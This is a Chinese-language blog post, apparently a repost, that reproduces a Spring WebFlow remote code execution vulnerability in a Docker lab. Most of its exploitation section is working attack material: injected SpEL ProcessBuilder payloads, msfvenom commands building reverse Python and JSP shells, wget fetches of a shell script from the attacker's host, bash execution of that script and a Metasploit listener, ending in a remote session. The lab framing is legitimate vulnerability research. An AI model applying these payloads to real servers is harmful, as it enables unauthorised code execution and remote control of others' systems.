猥琐思路复现Spring WebFlow远程代码执行

2019-04-04 约 146 字 预计阅读 1 分钟

声明:本文 【猥琐思路复现Spring WebFlow远程代码执行】 由作者 1033965478613440 于 2017-12-15 17:42:00 首发 先知社区 曾经 浏览数 2944 次

感谢 1033965478613440 的辛苦付出!

Author:smile-TT

说明:做安全的,思路不猥琐是日不下站的,必须变的猥琐起来,各种思路就会在你脑海中迸发

1.不温不火的漏洞

这个漏洞在六月份的时候就被提交了,但是官方也没有消息,所以圈子里没有人关注也就属于正常现象了。漏洞分析也在三天前发了出来,但是同样不温不火。我也是今天才知道。。所以在没有事情的时候测试了一波,配合各种猥琐思路,成功拿到一个反弹的会话。

2.漏洞发现及产生原因

Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞。但是复现的环境比较苛刻了。除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。

删删写写,真的不知道要怎么描述,附上这个漏洞分析的链接:分析链接

看完文章反正我是觉得作者好牛的,直接从人家官方发布的补丁中分析出漏洞。我等小菜只负责学习审计思路,复现就好。

3.环境的搭建

docker环境下载地址:点击这里

别问我为什么不自己陪环境。。将一句心里话,我真的感觉做J2EE开发的程序员真心牛,他们陪个环境分分钟的事情,还不会报错。今天本来打算自己配置这个spring环境的,结果,配置哭了,一天都没搞好。。还是python好,环境那么好配置。需要什么下什么,重点是一般都不会报什么错误。

没说JAVA不牛,大型项目还得他。zap还是用java写的囊,多牛。单纯环境难配置而已啦,啊哈哈

果断选择别人做好的Docker

克隆完成后,执行两条命令

> docker-compose build> docker-compose up -d>

完成之后访问http://ip:30082端口就一切ok了

按理来说访问到这个页面就可以执行漏洞操作了,但是为了方便后续的操作,可以进入docker环境的终端

docker ps –查看当前运行的docker进程

docker exec -it [id号] /bin/bash

之后登陆操作吧

访问:http://ip:30082/hotels/3

ps: 标记的订单号要写16位

之后设置好代理,进行抓包。

点击Confirm,在抓到的包之后添加

>&_(new+java.lang.ProcessBuilder("touch","/tmp/success")).start()=iswin>

Go

返回Error不管,直接来到docker下的tmp目录看结果

成功生成一个success文件.

4.猥琐思路开始闪现

  • #### 思路–1

默认是 没有python的,方便我的猥琐思路当然要装一个~

apt-get install python

文件创建成功了,还能命令执行,那还说啥子嘛~?直接上python反弹payload去执行

msfvenom生成反弹的payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o shell.py

获取反弹需要执行的代码

cat shell.py

但是这个时候注意到一个东西"",双引号这个东西,如果放到包中去会被闭合,那样的代码肯定没办法执行啊。不得行,不得不换下一个思路。

正在想怎么办,测试了一个别的命令,之后发现,命令之间不能加空格。。。如下

并没有执行成功。

  • #### 思路–2

Spring框架,那肯定跟jsp挂钩,直接wget一个jsp马,因为wget命令默认是当前文件夹下,因为上面的得出的结论,并不能添加空格,指定路径,(就算能指定路径,也不知道绝对路径在哪里啊- -!),但是总得尝试的,测一下试试吧。

同样使用msfvenom

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.12.106 lport=4444 -o shell.jsp

把马移动到/var/www/html目录下,保证可以远程下载

mv shell.jsp /var/www/html/shell.jsp

service apache2 start

抓包,改包

&_(new+java.lang.ProcessBuilder(“wget”,”http://192.168.12.106/shell.jsp")).start()=iswin).start()=iswin)

不知道上传到了哪里,执行以下find命令,发现并不在网站根目录下。而是在tomcat目录下

怎么办?mv过去?首先,你不知道网站绝对路径,其次命令中不能加空格啊。好气啊,眼看到手的shell又飞了。不得不继续想办法。

  • #### 猥琐思路–最终大招

方法肯定不止这一种,没有上面的两种思路,也不会有最后这种骚套路。你想到没?

实现方法:wget+python反弹shell

相信有经验童鞋已经有思路了。肯定很多人还蒙着囊,不是python 双引号被闭合了吗,还要怎么执行???

还不能有空格,怎么玩???别急嘛。

wget可以执行,并且默认都是在一个目录下的,没错python是不能执行,但是shell脚本可以执行啊。

把刚刚生成的python脚本写到一个shell脚本里,下载下来直接执行,一切不就ok了,每空格吧~,双引号?跟我有关系么,哈哈~思路有了,测试.

msfvenom生成反弹的payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o /var/www/html/shell.sh

打开Metasploit设置监听

use exploit/multi/handler

set payload cmd/unix/reverse_python

set lhost 192.168.12.106

set lport 4444

exploit

提交吧

&_(new+java.lang.ProcessBuilder(“wget”,”http://192.168.12.106/shell.sh")).start()=iswin).start()=iswin)

执行shell脚本

&_(new+java.lang.ProcessBuilder(“/bin/bash”,”shell.sh”)).start()=iswin

成功返回会话

docker没有ifconfig命令的=

如果想获取Meterpreter回话,你觉得还会远么?自己YY

5.总结一下

之前还想写个检测脚本研究一下了,但是写着写着好像突然感觉到,这个漏洞没有像struts那个漏洞一样掀起浪潮是有原因的。他并不能像strtus这个漏洞那样直接可以测试的出,只有白盒才能测出问题所在,知道哪里使用了addEmptyValueMapping这个函数。并不能直接黑盒测试,或许也可以,将所有提交的数据包都加入payload检测,那相当于扫描全站了。或许在拿到授权的测试下,还是可以试一下的,但是我们这种复现漏洞的,还是别拿人家网站乱扫了。。

而且,我觉得这个漏洞并不会大片存在,环境相对而言还是比较苛刻的。

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now